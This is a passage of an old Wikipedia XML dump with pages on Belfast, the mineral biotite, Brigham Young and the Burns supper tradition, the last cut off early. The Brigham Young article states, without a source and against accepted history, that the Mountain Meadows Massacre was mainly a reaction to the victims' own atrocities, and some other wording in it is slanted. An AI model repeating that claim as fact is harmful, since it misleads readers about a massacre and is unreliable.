    </revision>
  </page>
  <page>
    <title>Bashir Gemayel</title>
    <id>5045</id>
    <revision>
      <id>15903287</id>
      <timestamp>2004-03-14T21:42:11Z</timestamp>
      <contributor>
        <username>Davidcannon</username>
        <id>36171</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Bachir Gemayel]]</text>
    </revision>
  </page>
  <page>
    <title>Belfast</title>
    <id>5046</id>
    <revision>
      <id>42054077</id>
      <timestamp>2006-03-03T14:06:58Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <comment>/* 2001 Census */  dab. Catholic</comment>
      <text xml:space="preserve">:''This article is about the city of '''Belfast''' in Northern Ireland. For other uses, see [[Belfast (disambiguation)]].''
{{Ireland_city_infobox |
  city_name     = City of Belfast |
  crest_image   = Image:Belfast city crest painting.png |
  motto_latin = &lt;font size=2.5&gt;''Pro Tanto Quid Retribuamus''&lt;/font&gt; |  
  motto_english = &lt;font size=2.5&gt;&quot;what shall we give in return for so much&quot;&lt;/font&gt; |
  map_image     = Image:Ireland_map_County_Antrim.png |
  pin_coords    = left: 137px; top: 90px |
  gps_coords    = 54.596°N -5.914°W |
  city_area     = 115 km² |
  city_county   = [[County Antrim|Antrim]] |
  city_pop      = 276,459 |
  city_province = [[Ulster]] |
  protestant_pc = 42.4% |
  catholic_pc   = 56.2% |
}}
'''Belfast''' (''Béal Feirste'' in [[Irish language|Irish]]) is a [[City status in the United Kingdom|city]] in the [[United Kingdom]]. It is the largest city in [[Northern Ireland]] (of which it is the [[capital city|capital]]) and the province of [[Ulster]], and is the second largest city on the island of [[Ireland]]. In the 2001 Census the population within the city limits (Belfast Urban Area) was 276,459, while  579,276 people live in the [[Greater Belfast]] area or Belfast Metropolitan Urban Area. The city is situated at the south-western end of [[Belfast Lough]], a long natural inlet ideal for the shipping trade that made the city famous, and near the mouth of the [[River Lagan]]. It is flanked by long stretches of hills, the [[Castlereagh Hills]] on the south and the [[Antrim Hills]] on the north. The city straddles the [[County Antrim]] and [[County Down]] boundary.  The city recently gained the status of being the 2nd most popular city in the UK, above London and Glasgow, for short breaks.

The name Belfast originates from the [[Irish language|Irish]] ''Béal Feirste'', or the mouth of the [[River Farset|Farset]] (''feirste'' is the genitive of the word ''fearsaid'', &quot;a spindle&quot;), the river on which the city was built. Interestingly, the river Farset has been superseded by the [[River Lagan]] as the most important river; the Farset now languishes under the High Street in obscurity. Bridge Street indicates where there was originally a bridge across the Farset.

Belfast saw the worst of the [[Troubles]] in Northern Ireland.  The Belfast/Good Friday Agreement has encouraged large-scale redevelopment, such as [http://www.victoriasquare.com Victoria Square], [http://www.titanic-quarter.com Titanic Quarter] and [http://www.laganside.com Laganside] including the new [[Odyssey (Belfast)|Odyssey]] complex and sports arena. Much of the [[Belfast City Centre|city centre]] has now been pedestrianised. The city has two airports: [[Belfast City Airport]] adjacent to Belfast Lough and [[Belfast International Airport]] which is near [[Lough Neagh]]. [[Queen's University Belfast]] is the main university in Belfast. The [[University of Ulster]] also maintains a campus in the city, which concentrates on [[fine art]] and [[design]].

==Geography==
Belfast is situated at {{coor dms|54|35|50|N|05|56|20|W|}}. A consequence of this latitude is that it both endures short winter days and enjoys long summer evenings. In the middle of the darkest period in December, local sunset is at 3.50 p.m. while sunrise is as late as 8.45 a.m. However, this is counterbalanced by the period from May to July. In mid-to-late June, sunset occurs after 10 p.m. and the daylight survives until 11 p.m. on fine nights.

To the north of Belfast are the [[Glens of Antrim]] in [[County Antrim]], and to the south, the [[Castlereagh Hills]] in [[County Down]]. Overlooking the city are Divis Mountain, Black Mountain and [[Cavehill]].

Like much of the country, Belfast has a temperate climate with significant rainfall. Average daily maximums are 19°C (66°F) in July, 8°C (46°F) in January. There is significant rainfall on over 200 days in an average year, and an annual rainfall total of approximately 850mm (33 inches), still barely half that received in Western Ireland and Scotland. While sleet and snow fall occasionally in Winter, as an urban, coastal, area, snow lies in Belfast on an average of only 2-3 days per year.

==Points of interest==
[[Image:Belfast panorama from queens tower.jpg|thumb|300px|Panorama of Belfast on a dreary day, as seen from a tower block of Queen's University.]]
The [[Belfast City Hall|City Hall]], dating from [[1906]], [[Queen's University, Belfast]] (1849), and other [[Victorian era|Victorian]] and [[Edwardian]] buildings display a large number of sculptures. Among the grandest buildings are two former banks: [[Ulster Bank]] ([[1860]]), in Waring Street and [[Northern Bank]] ([[1769]]), in nearby Donegall Street. Also notable is the [[Linenhall Library]] ([[1788]]), in Donegall Square North.

The world's largest [[dry dock]] is located in the city, and the giant cranes ([[Samson and Goliath (Cranes)|Samson and Goliath]]) of the [[Harland and Wolff]] shipyard, builders of the [[RMS Titanic|''Titanic'']], can be seen from afar. Other long-gone industries included Irish [[linen]] and rope-making.

Sections of the city contain numerous sectarian murals, reflecting the political and religious allegiances of the communities living there: the [[Shankill Road]], [[East Belfast]], [[Sandy Row]], [[Glencairn]], [[Highfield]], [[Ballygomartin Road]], [[Ballysillan Road]], [[Upper Ardoyne]],  and [[Rathcoole (Belfast)|Rathcoole]], which are almost entirely [[Protestant]], have murals depicting republican violence, loyalty to the [[British Crown]], the [[Ulster Volunteer Force]] and [[Ulster Defence Association]]. Conversely, murals on the [[Falls Road]], [[Poleglass]], [[Marrowbone]], [[New Lodge, Belfast|New Lodge]], [[Twinbrook, Belfast|Twinbrook]] and [[Ardoyne]] neighborhoods, which are almost entirely [[Roman Catholic]] areas feature political themes such as a [[united Ireland]], and the [[Provisional IRA]], as well as traditional folklore and the [[Irish language]]. The [[Irish mythology|Irish]] folk hero [[Cú Chulainn]] has appeared on both republican and loyalist murals, representing the heroic Celtic past for the former and legendary battles between Ulster and the other provinces for the latter. 

The ornately decorated [[The Crown Liquor Saloon|Crown Liquor Saloon]] in Great Victoria Street is notable as being the only bar owned by the [[National Trust for Places of Historic Interest or Natural Beauty|National Trust]]. The [[Royal Courts of Justice, Belfast|Royal Courts of Justice]] in Chichester Street is home to Northern Ireland's [[Supreme Court of Northern Ireland|Supreme Court]].

Belfast also contains the tallest building (as distinct from structure) on the island of Ireland. [[Windsor House]] stands at 80 metres (262 feet) and has 23 floors.

* [[Albert Memorial Clock, Belfast]]
* [[Ormeau Baths Gallery]]

==History==
''Main Article: [[History of Belfast]]''

[[Image:Lagan Weir South.JPG|thumb|300px|The [[Laganside Corporation|Lagan Weir]], a major catalyst for redevelopment of the Laganside area and increasing use of the river throughout the city]]

The site of Belfast has been occupied since the [[Bronze age]]s, and the remains of [[Iron Age]] [[hill fort]]s can still be seen. It became a substantial settlement in the 17th century and blossomed as a commercial and industrial centre in the 18th, 19th and 20th centuries.

Belfast has long been the capital of Ulster province and of [[Northern Ireland]] since its creation in 1920. Since the 17th century, it has sadly been the scene of much sectarian conflict between Catholics (now often called nationalists) and Protestants (often termed unionists). The most recent example of this is the [[Troubles]] -a civil conflict that raged from 1969 to the late'90s.

Belfast's industry suffered serious decline since the 1960s, creating much unemployment in the city. In recent years, large amounts of money have been invested in the city's infrastructure in an effort to stimulate the economy.

{|border=0 cellpadding=2 cellspacing=2 width=98%
|-align=center
|[[Image:Belfast loyalist mural 1.jpg|thumb|250px|center|Loyalist mural]]||[[Image:Belfast mural 12.jpg|thumb|250px|center|Republican mural]]
|}

==Local Politics==
In 1997, [[Unionists (Ireland)|unionists]] lost control of [[Belfast City Council]] for the first time in its history, with the [[Alliance Party of Northern Ireland]] gaining the balance of power between [[Irish nationalism|nationalists]] and unionists. This position was confirmed in the council elections of [[2001]] and [[2005]].  Since then it has had two Catholic [[mayor]]s, one from the [[SDLP]] and one from [[Sinn Féin]]. 

In the [[2005]] local government elections, the voters of Belfast elected 51 councillors to [[Belfast City Council]] from the following political parties: 15 [[Democratic Unionist Party]] (DUP), 14 [[Sinn Féin]], 8 [[Social Democratic and Labour Party]] (SDLP), 7 [[Ulster Unionist Party]] (UUP), 4 [[Alliance Party of Northern Ireland|Alliance Party]], 2 [[Progressive Unionist Party]] (PUP), and 1 Independent ([[Frank McCoubrey]]). 

Belfast has four UK parliamentary and Assembly constituencies - [[North Belfast (constituency)|North Belfast]], [[West Belfast (constituency)|West Belfast]], [[South Belfast (constituency)|South Belfast]] and [[East Belfast (constituency)|East Belfast]]. All four extend somewhat beyond the city boundaries into parts of [[Castlereagh Borough Council|Castlereagh]], [[Lisburn]] and [[Newtownabbey Borough Council|Newtownabbey]] districts. In [[2003]], they elected 7 Sinn Féin, 6 DUP, 5 UUP, 4 SDLP, 1 PUP, and 1 Alliance MLAs (members of the [[Northern Ireland Assembly]]). In the [[United Kingdom general election, 2005|2005 general election]], they elected 2 DUP MPs, 1 SDLP MP, and 1 Sinn Féin MP.

Belfast is [[twin cities|twinned]] with [[Nashville, Tennessee]] in the [[United States]] and [[Hefei]] in [[China]].

==Media==
Belfast is the home of [[The News Letter]], the oldest weekly newspaper in the world still in publication. Other main newspapers include [[The Irish News]], the evening newspaper [[Belfast Telegraph]] and recently, the [[Daily Ireland]] newspaper, while there is also an Irish language daily newspaper called ''[[Lá]]'' (or &quot;day&quot;). The current affairs magazine ''[[Fortnight]]'' (published, ironically, on a monthly basis) offers commentary from a left of centre but non-party-political stance.

The city is also the headquarters of [[BBC Northern Ireland]], the [[ITV]] station [[Ulster Television|UTV]] and the commercial radio stations [[Belfast CityBeat]] and [[U105]].

==Notable people==
{{GBdot|Belfast}}
For famous people born, raised or resident in Belfast, see [[Notable Belfast People]].

== 2001 Census ==
Belfast Urban Area is within the Belfast Metropolitan Urban Area (BMUA) as classified by the [http://www.nisra.gov.uk/ NI Statistics and Research Agency (NISRA)]. On Census day ([[29 April]] [[2001]]) there were 276,459 people living in Belfast Urban Area. Of these:
*21.7% were aged under 16 years and 19.7% were aged 60 and over
*46.8% of the population were male and 53.2% were female
*47.2% were from a [[Roman Catholic Church|Catholic]] background and 48.6% were from a [[Protestantism|Protestant]] background
*5.4% of people aged 16-74 were unemployed.

For more details see: [http://www.ninis.nisra.gov.uk/ NI Neighbourhood Information Service]

==Districts==
* [[Ardoyne]]
* [[Andersonstown]]
* [[Ballygomartin Road]]
* [[Ballymacarrett]]
* [[Ballymurphy]]
* [[Ballysillan Road]]
* [[Belfast City Centre]]
* [[Braniel]]
* [[Castlereagh Road]]
* [[Cregagh]]
* [[Donegall Road]]
* [[Falls Road]]
* [[Finaghy]]
* [[Glen Road]]
* [[Glencairn]]
* [[Highfield]]
* [[Malone]]
* [[New Lodge, Belfast|New Lodge]]
* [[Newtownards Road]]
* [[Rathcoole (Belfast)]]
* [[Ravenhill (Belfast)]]
* [[Sandy Row]]
* [[Shankill Road, Belfast|Shankill Road]]
* [[Shore Road]]
* [[Short Strand]]
* [[Springfield road]]
* [[Stewartstown Road]]
* [[Stormont]]
* [[Suffolk Road]]
* [[Tigers Bay]]
* [[Turf Lodge]]
* [[Willowfield]]
* [[Whiterock]]
* [[Woodvale Road]]

==External links==
* [http://www.gotobelfast.com/ Go To Belfast - Tourism]
* [http://www.belfastcity.gov.uk Belfast City Council]
* [http://www.geographia.com/northern-ireland/ukibel00.htm Belfast City - Tourism]
* [http://www.belfast.net/mo/belmap.jpg Map of Central Belfast]
* [http://www.geographyinaction.co.uk/Urban_structure/Urbanstructure_intro.html Urban structure of Belfast]
* [http://www.scots-online.org/grammar/belfast.htm Belfast Dialect]
* [http://www.irish-architecture.com/buildings_ireland/antrim/belfast/index.html Architecture of Belfast]
* [http://www.crownbar.com/about.asp The Crown Liquor Saloon]

==See also==
* [[Belfast Peace Lines]]
* [[Belfast blitz]]
*[[List of towns in Northern Ireland]]
*[[List of villages in Northern Ireland]]

{{commons|Belfast}}

{{Northern_Ireland}}
{{IrishCities}}

[[Category:Belfast| ]]
[[Category:Capitals in Europe]]
[[Category:Coastal cities]]
[[Category:Ports and harbours of Northern Ireland]]

[[ca:Belfast]]
[[cy:Belffast]]
[[da:Belfast]]
[[de:Belfast]]
[[es:Belfast]]
[[eo:Belfasto]]
[[fa:بلفاست]]
[[fr:Belfast]]
[[ga:Béal Feirste]]
[[ko:밸파스트]]
[[id:Belfast]]
[[it:Belfast]]
[[he:בלפאסט]]
[[nl:Belfast (Noord-Ierland)]]
[[ja:ベルファスト]]
[[no:Belfast]]
[[nn:Belfast]]
[[pl:Belfast]]
[[pt:Belfast]]
[[ru:Белфаст]]
[[simple:Belfast]]
[[fi:Belfast]]
[[sv:Belfast]]
[[zh:贝尔法斯特]]</text>
    </revision>
  </page>
  <page>
    <title>Biotite</title>
    <id>5047</id>
    <revision>
      <id>40488477</id>
      <timestamp>2006-02-20T23:01:35Z</timestamp>
      <contributor>
        <username>Jaraalbe</username>
        <id>261435</id>
      </contributor>
      <comment>multiple mineral categories</comment>
      <text xml:space="preserve">[[Image:Biotite_sliceUSGOV.jpg|thumb|A Biotite slice]]
'''Biotite''' is a common [[Silicate minerals#Phyllosilicates|phyllosilicate]] [[mineral]] that contains [[potassium]], [[magnesium]], [[iron]] and [[aluminium]]. It is sometimes called &quot;iron mica&quot; and is found in [[granite|granitic]] rocks, [[gneiss|gneisses]], and [[schist|schists]]. Like other [[mica]] minerals, biotite has a highly perfect basal cleavage, its flexible sheets easily flaking off. It has a [[Mohs scale of mineral hardness|hardness]] of 2.5 - 3, a [[specific gravity]] of 2.7 - 3.1, is colored [[green|greenish]] to [[brown]] or [[black]], and can be transparent to opaque. Biotite is occasionally found in large sheets, especially in [[pegmatite]] veins, and also occurs as a contact [[metamorphic rock]] or the product of the alteration of [[hornblende]], [[augite]], [[wernerite]], and similar minerals.

Biotite occurs in the [[lava]] of [[Mount Vesuvius]], at [[Monzoni]], and many other [[Europe|European]] locations. In the [[United States]], it is found in the pegmatites of [[New England]], [[Virginia]] and [[North Carolina]], as well as in the granite of [[Pikes Peak]], [[Colorado]].

Biotite was named in honor of the [[France|French]] [[physicist]] [[Jean-Baptiste Biot]].

== See also ==
*[[List of minerals]]

{{mineral-stub}}

[[Category:Magnesium minerals]]
[[Category:Iron minerals]]
[[Category:Potassium minerals]]
[[Category:Aluminium minerals]]
[[Category:Silicate minerals]]

[[de:Biotit]]
[[et:Biotiit]]
[[es:Biotita]]
[[fr:Biotite]]
[[nl:Biotiet]]
[[ja:黒雲母]]
[[pl:Biotyt]]
[[pt:Biotita]]
[[sk:Biotit]]
[[fi:Biotiitti]]</text>
    </revision>
  </page>
  <page>
    <title>Brigham Young</title>
    <id>5048</id>
    <revision>
      <id>42103612</id>
      <timestamp>2006-03-03T21:23:11Z</timestamp>
      <contributor>
        <username>NekoDaemon</username>
        <id>239574</id>
      </contributor>
      <minor />
      <comment>Robot: [[Cat#Communication|Nyaa]]! [[Template talk:Categoryredirect|Categoryredirect]]: [[Category:Pardon recipients]] → [[Category:People who were pardoned by the President of the United States]].  Requested change by [[User:Kbdank71|]]</comment>
      <text xml:space="preserve">{{LDSInfobox|
English name=Brigham Young|
image=[[Image:Brigham_Young.jpg|250px]]|
birth_name=Brigham Young|
birth_date=[[June 1]], [[1801]]| 
birthplace=[[Whitingham, Vermont]]|
ordained_12= [[February 14]], [[1835]]|
predecessor_12=Original Twelve|
successor_12=[[John Henry Smith]]|
prophet=prophet|
prophet_date=[[December 27]], [[1847]]|
predecessor=[[Joseph Smith, Jr|Joseph Smith]]|
successor=[[John Taylor (1808-1887)|John Taylor]]|
dead=dead|
death_date=[[August 29]], [[1877]]|
deathplace=[[Salt Lake City]], [[Utah]]|}}

'''Brigham Young''' ([[June 1]], [[1801]] &amp;ndash; [[August 29]], [[1877]]) was the second [[prophet]] and [[President of the Church (Mormonism)|president]] of [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] (LDS Church; see also [[Mormonism]]).  

Young had a variety of [[sobriquet|sobriquets]], among the most popular of which is &quot;The American [[Moses]]&quot; [http://www.lds.org/newsroom/showpackage/0%2C15367%2C3899-31--34-2-190%2C00.html], (sometimes &quot;The Modern Moses&quot; or &quot;The Mormon Moses&quot; [http://overlandtrails.byu.edu/mapsessay.html]) because, like the biblical figure, he led his followers in an often arduous &quot;[[exodus]]&quot; through a [[desert]], to what they saw as a &quot;promised land&quot;. He was also dubbed &quot;The Lion of the Lord&quot; for his bold personality.  He was also called &quot;Brother Brigham&quot;. 

==Life==
Young was born to a farming family in [[Vermont]] and worked as a traveling [[carpenter]] and [[blacksmith]], among other trades. Young first married in [[1824]].

Though he had converted to the [[Methodist]] faith in [[1823]], Young was drawn to Mormonism after reading the [[Book of Mormon]] shortly after its publication in [[1830]]. He officially joined the new church in [[1832]] and traveled to [[Canada]] as a [[Mormon missionary|missionary]]. After his first wife died in [[1833]], Young joined many Mormons in establishing a community in [[Kirtland, Ohio|Kirtland]], [[Ohio]].{{Template:LDS}}

Young was strongly committed to his new faith. He was ordained an [[Apostle (Mormonism)|apostle]] and joined the [[Quorum of the Twelve Apostles]] as one of the first members on [[February 14]], [[1835]]. During the anti-Mormon persecutions in Missouri in the late 1830's, he suffered the loss of all his property, and other hardships. In [[1840]] and [[1841]], he went to [[England]] as a missionary for his church. Many of those Young converted moved to the [[United States]] to join Mormon communities there. In the 1840s Young was among those who established the city of [[Nauvoo, Illinois|Nauvoo]], [[Illinois]] on the [[Mississippi River]]. It became the headquarters of the church and was comparable in size to the city of [[Chicago, Illinois|Chicago]].

While in jail awaiting trial for treason charges, church president [[Joseph Smith, Jr.|Joseph Smith]] was killed by an armed mob of vigilantes in [[1844]].  Several claimants to his role as [[President of the Church (Mormonism)|church president]] emerged during the [[Succession crisis (Mormonism)|succession crisis]] that ensued.  [[Sidney Rigdon]], the only surviving member of the [[First Presidency]] put himself forward as &quot;guardian of the Church,&quot; but at a meeting of a congregation in Nauvoo, Young successfully counter-argued that the [[Quorum of the Twelve]] should instead lead the Church.  This motion carried and Young, as president of the quorum, became the ''de facto'' president of the church at Nauvoo. Rigdon became the president of a separate [[Rigdonite|church organization]] based in [[Pittsburgh, Pennsylvania]] and other potential successors emerged to lead what became separate denominations of the movement. ''See'' [[Latter-day Saint movement]].

== Actions as Church President ==
After three years under the Quorum of the Twelve, Young reorganized a new [[First Presidency]] and was declared President of the largest remaining schism in 1847. Repeated conflict led Young to relocate his group of Latter-day Saints to a territory in what is now [[Utah]]; then part of [[Mexico]]. Young organized the journey that would take the faithful to [[Winter Quarters]], [[Nebraska]], in [[1846]], then to Utah's Salt Lake Valley on [[July 24]], [[1847]], a date now recognized as a [[Utah]] state [[holiday]] and known as [[Pioneer Day]].  

Shortly after the new Mormon colonies were brought into the United States through [[Mexican Cession]], Young petitioned the U.S. Congress to create the [[State of Deseret]].  The [[Compromise of 1850]] instead carved out [[Utah Territory]], and Young was installed as governor. As governor and LDS president, Young directed both religious and economic matters. He encouraged independence and self-sufficiency. Many cities and towns in Utah, and some in neighboring states, were founded under Young's direction. Some have accused Young of being an [[autocrat]] during his leadership in Utah [http://encarta.msn.com/encyclopedia_761555412/Young_Brigham.html]. Others disagree with this assessment, recognizing Young as a strong, inspiring leader during a challenging era, and further noting that his reputation and legacy are generally well-regarded.  

When federal officials received reports of widespread and systematic obfuscation of federal officials in Utah (most notably judges), [[James Buchanan|President Buchanan]] decided to install a non-mormon governor.  When Young received word that federal troops led by [[Albert Sydney Johnston]] were headed to Utah with his replacement, he directed resistance, but insisted that no blood be shed.  During this episode, now called the [[Utah War]], Young successfully held the U.S. Army at bay for a winter.  He made plans to burn [[Salt Lake City]] and move his followers to Mexico, but at the last minute he relented, and agreed to step down as governor. He later received a [[pardon]] from President Buchanan for his role in the episode.  Relations between Young and future governors and U.S. Presidents were mixed.  Abraham Lincoln, at the time the transcontinental telegram wire was laid across Utah, worked together with Brigham Young rather than with the federally-appointed governor of the territory.  

A recurrent question is the nature or extent of Young's involvement in murders and other illegal activities in early Utah, particularly the [[Mountain Meadows Massacre]], which took place in [[Washington County, Utah|Washington County]] in 1857. Authorities in nearby [[Iron County, Utah|Iron County]] had sent a messenger to Salt Lake City seeking direction from Young, but his response&amp;mdash;directing them to leave the wagon party alone&amp;mdash;arrived too late to avert the massacre. [[John D. Lee]], the only person convicted for participation in the massacre, maintained Young's innocence until his death. This inspite of the fact that Lee was personally bitter toward Young for excommunicating him. The massacre at Mountain Meadows was primarily a reaction to the murders and other atrocities committed by the wagon-train migrants against the local Native American population. The Natives pressured the local Mormons to join them in a counter-attack against the violent invaders. 

Young was actually indicted on murder charges in 1872, related to a separate incident.  This indictment was based on the testimony of [[&quot;Wild Bill&quot; Hickman|William Hickman]], who also felt jilted when 8 of his 9 wives left him, after Young had him excommunicated.  Hickman's credibility has always been considered questionable, at best.  Young's murder indictment was thrown out, when the U.S. Supreme Court ruled that the process used to select grand juries in Utah was unconstitutional, because it was designed to keep Mormons off juries.       

In addition to founding the [[University of Utah]], Young also organized the [[Mormon Tabernacle Choir]]. [[Brigham Young University]] is named after him. In [[1950]], the state of Utah donated a marble statue of Young to the [[U.S. Capitol]]'s [[National Statuary Hall Collection]].
For an overview of Brigham Young's philosophy and teachings, see the book &quot;Brother Brigham Challenges the Saints,&quot; by [[Hugh Nibley]].

== Plural Wives ==
Young was perhaps the most famous [[Polygamy#Mormon Polygamy|polygamist]] of the early church. Young married some 50 women and had 57 known children.  These marriages were not recognized as legally binding according to U.S. law, and in response to a suit for alimony from one of his &quot;ex-wives&quot;, Young successfully argued in court that he owed no alimony because they were never legally married. In [[1856]] he built the [[Lion House]] to accommodate his sizable family. This remains a Salt Lake City landmark, together with [[the Beehive House]], another Brigham Young Family home.

What follows is a listing of Brigham Young's wives. An asterisk indicates &quot;a wife not recognized in traditional histories, even though there is evidence of at least one of the following: the ceremony, sexual cohabitation, or a formal divorce&quot;; names in parenthesis are the surnames of previous husbands; &quot;divorce&quot; indicates a formal dissolution of the marriage through secular or ecclesiastical procedures; &quot;remarried&quot; indicates later marriage of the wife to another husband. See D. Michael Quinn, ''The Mormon Hierarchy: Origins of Power,'' Signature Books, Salt Lake City, 1994, 685 pages, ISBN 1-56085-056-6; Appendix 6, &quot;Biographical Sketches of Officers of the Church of Jesus Christ of Latter- day Saints, 1830-47&quot; pp. 607-608).

# Miriam Work 1824 (2 children), included in his will.
# Mary Ann Angell 1834 (6 children), in will.
# Lucy A. Decker (Seeley) 1842 (7 children), in will.
# Harriet E. Cook (Campbell) 1843 (1 child), in will.
# Lucy Augusta Adams (Cobb) 1843 (no children), requested cancellation of her [[Sealing (Mormonism)|sealing]] 1846, sealed by proxy to Joseph Smith 1848, from 1850 onward asked Brigham Young to give her to various men in civil marriage but still included in will.
# Clarissa C. Decker 1844 (5 children), in will.
# Clarissa Ross-Chase 1844 (4 children), in will.
# Louisa Beaman (Smith) 1844 (5 children).
# [[Zina D. H. Young|Zina D. Huntington (Jacobs, Smith)]] 1844 (1 child), in will.
# Emily D. Partridge (Smith) 1844 (7 children), in will. (daughter of [[Edward Partridge]])
# [[Eliza Roxcy Snow|Eliza R. Snow (Smith)]] 1844 (no children), in will.
# '''*'''Elizabeth Fairchild 1844 (no children), divorced 1855.
# '''*'''Clarissa Blake 1844 (no children). 
# '''*'''Rebecca W. Greenleaf Holman 1844 (no children).
# '''*'''Diana Chase 1844 (no children), separated about 1848, remarried 1849.
# Maria Lawrence (Smith) 1844 (no children), separated 1845, remarried 1846.
# Susannah Snively 1844 (no children), in will.
# Olive G. Frost (Smith) 1844 (no children).
# '''*'''Mary A. Clark (Powers) 1845 (no children), divorced 1851.
# '''*'''Mary Harvey Pierce 1845 (no children).
# Margrette W. Pierce (Whitesides) 1845 (1 child), in will.
# '''*'''Rhoda Richards (Smith) 1845 (no children). (she was Young's 1st cousin)
# Emmeline Free 1845 (10 children), in will. (former fiance of [[John D. Lee]], her sister Louisa married Lee).
# Mary E. Rollins (Lightner, Smith) 1845 (no children), remained with legal husband yet considered herself deserted by Brigham Young 1846.
# Margaret Maria Alley 1845 (2 children), in will.
# '''*'''Mary Ann Turley 1845 (no children), divorced 1851.
# '''*'''Olive Andrews (Smith) 1846 (no children).
# '''*'''Emily Haws (Chesley, Whitmarsh) 1846 (no children), separated 1848.
# Ellen A. V. Rockwood 1846 (no children).
# '''*'''Abigail Marks (Works) 1846 (no children).
# '''*'''Mary E. Nelson (Greene) 1846 (no children).
# '''*'''Mary E. de la Montague (Woodward) 1846 (no children), divorced and returned to legal husband 1847, then returned to Brigham Young 1851.
# '''*'''Amy C. Cooper 1846 (no children).
# '''*'''Julia Foster (Hampton) 1846 (no children), separated 1846, married another man, returned to Brigham Young 1855 only to leave him bitterly later.
# '''*'''Abigail Harback (Hall) 1846 (no children), returned to legal husband 1846.
# Naamah K. J. Carter (Twiss) 1846 (no children), obtained cancellation of her [[Sealing (Mormonism)|sealing]] by 1871, anointed to deceased first husband but still included in will.
# '''*'''Nancy Cressy (Walker) 1846 (no children).
# '''*'''Eliza Babcock 1846-53 (no children), divorced 1853.
# '''*'''Jane Terry (Tarbox, Young) 1847.
# Mary J. Bigelow 1847 (no children), divorced 1851.
# Lucy Bigelow 1847 (3 children), in will.
# '''*'''Sarah M. Guckin (Malin) 1848 (no children).
# Eliza Burgess 1852 (1 child), in will.
# '''*'''Mary Oldfield (Kelsey) 1852 (no children).
# '''*'''Catherine Resse (Clawson, Egan) 1855 (no children).
# Harriet E. Barney (Sagers) 1856 (1 child), in will.
# Harriet Amelia Folsom 1863 (no children), in will.
# Mary Van Cott (Cobb) 1865 (1 child), in will.
# [[Ann Eliza Young|Ann Eliza Webb]] (Dee) 1868 (no children), divorced 1875; her story was [[fiction|fictionalized]] in Irving Wallace's 1962 novel ''The Twenty-Seventh Wife.''
# '''*'''Elizabeth Jones (Lewis, Jones) 1869 (no children).
# '''*'''Lydia Farnsworth (Mayhew) 1870 (no children).
# '''*'''Hannah Tapfield (King) 1872 (no children).

==Legacy==
Brigham Young has several noteworthy descendents:
*[[Steve Young (athlete)|Steve Young]],  NFL Hall of fame football player
*[[La Monte Young]], minimalist composer
*[[Brigham Young, Jr.]], mormon apostle
*[[Richard Whitehead Young]], World War I general &amp; Phillipines Supreme Court Justice

==See also==
*''[[Brigham Young (movie)]]''
*[[Richards-Young Family|Richards-Young Political Family]]

==References==
*[[Leonard J. Arrington]], ''Brigham Young: American Moses''; University of Illinois Press; ISBN 0252012968, (1985; Paperback, 1986).
*[[Hugh Nibley]], ''Brother Brigham Challenges the Saints.''
* Gary James Bergera, [http://www.signaturebooks.com/excerpts/conflict.html ''Conflict in the Quorum: Orson Pratt, Brigham Young, Joseph Smith'']

== External links ==
*[http://www.byu.edu/about/brigham/ Biography from Brigham Young University]
*[http://www.signaturebookslibrary.org/essays/mormonpolygamy.htm The Brigham Young period of polygamy]
*[http://www.aoc.gov/cc/art/nsh/young.cfm Short biography of Young from Architect of the Capitol]
*[http://www.pbs.org/weta/thewest/people/s_z/young.htm PBS profile]

{{start box}}
{{succession box |
  title= [[List of governors of Utah|Governor of Utah Territory]] |
  years= [[1850]]&amp;ndash;[[1858]] |
  before= None |
  after= [[Alfred Cumming]]
}}

{{succession box |
  title= [[President of the LDS Church]] |
  years= [[December 27]], [[1847]]&amp;ndash;[[August 29]], [[1877]] |
  before= [[Joseph Smith, Jr.]] |
  after= [[John Taylor (1808-1887)|John Taylor]]
}}
{{succession box |
  title= [[President of the Quorum of the Twelve Apostles]] |
  years= [[March 17]], [[1839]]&amp;ndash;[[December 27]], [[1847]] |
  before= [[Thomas B. Marsh]] |
  after= [[Orson Hyde]]
}}
{{series box |
 title= [[Quorum of the Twelve Apostles]] |
 years= [[February 15]], [[1835]]&amp;ndash;[[December 27]], [[1847]] |
 before=[[David W. Patten]] |
 after= [[Heber C. Kimball]] |
}}
{{end box}}

[[Category:1801 births|Young, Brigham]]
[[Category:1877 deaths|Young, Brigham]]
[[Category:Apostles of the Church of Jesus Christ of Latter-day Saints|Young, Brigham]]
[[Category:Governors of Utah|Young, Brigham]]
[[Category:Latter Day Saint leaders|Young, Brigham]]
[[Category:Latter Day Saints|Young, Brigham]]
[[Category:Mormon pioneers|Young, Brigham]]
[[Category:People from Vermont|Young, Brigham]]
[[Category:People who were pardoned by the President of the United States|Young, Brigham]]
[[Category:Presidents of the Church of Jesus Christ of Latter-day Saints|Young, Brigham]]

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[[zh:杨百翰]]</text>
    </revision>
  </page>
  <page>
    <title>Burns supper</title>
    <id>5049</id>
    <revision>
      <id>36695614</id>
      <timestamp>2006-01-25T21:33:04Z</timestamp>
      <contributor>
        <ip>204.209.24.2</ip>
      </contributor>
      <comment>Put back categories and fix awkward passives</comment>
      <text xml:space="preserve">A '''Burns Supper''' is a celebration of the life and [[poetry]] of the poet [[Robert Burns]], author of the version of the [[Scots Language|Scots]] song [[Auld Lang Syne]], which is generally sung at [[Hogmanay]] and other [[New Year]] celebrations around the [[English language|English]]-speaking world.  The suppers are normally held on or near the poet's birthday, [[January 25]], sometimes known as Burns Night, although they may in principle be held at any time of the year.  

Burns suppers are most common in [[Scotland]] (and also in [[Russia]], where nationally televised Burns nights are held in the [[Kremlin]]) but they occur wherever there are Burns clubs, expatriate Scots, or indeed lovers of Burns' poetry.

The first suppers were held in [[Ayrshire]] at the end of the [[18th century]] by his friends on the anniversary of his death, [[July 21]], ''In Memoriam'' and, although the date has changed to the 25th of January since then, they have been a regular occurrence ever since.  

They may be formal or informal but they should always be entertaining.  The only items which the informal suppers have in common are [[haggis]], [[whisky]] and perhaps a poem or two.  However the formal suppers, which are often held by [[Burns club]]s follow a standard format which is as follows.

== Order of the supper ==

=== Start of the evening ===
Guests gather and mix as in any informal party.

=== Host's welcoming speech ===
The host says a few words welcoming everyone to the supper and perhaps stating the reason for it.  The event is declared open.

Everyone is seated at the table(s) and grace is said, using the ''Selkirk Grace:''

'''The Selkirk Grace'''
:Some hae meat and canna eat,
:And some would eat that want it;
:But we hae meat, and we can eat,
:Sae let the Lord be thankit.

